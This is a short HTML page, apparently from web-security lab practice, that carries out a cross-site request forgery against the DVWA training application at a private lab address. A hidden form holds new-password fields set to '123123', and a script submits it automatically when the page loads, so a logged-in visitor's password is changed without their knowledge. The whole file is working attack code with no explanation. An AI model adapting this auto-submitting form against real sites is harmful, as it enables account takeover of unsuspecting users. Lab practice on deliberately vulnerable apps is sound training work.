<form id="this_form" action="http://172.16.180.129/dvwa/vulnerabilities/csrf/" method="GET"> 
    <input type="hidden" autocomplete="off" name="password_new" value="123123">
    <input type="hidden" autocomplete="off" name="password_conf" value="123123">
    <input type="hidden" value="Change" name="Change">
</form>>
<script>document.getElementById('this_form').submit()</script>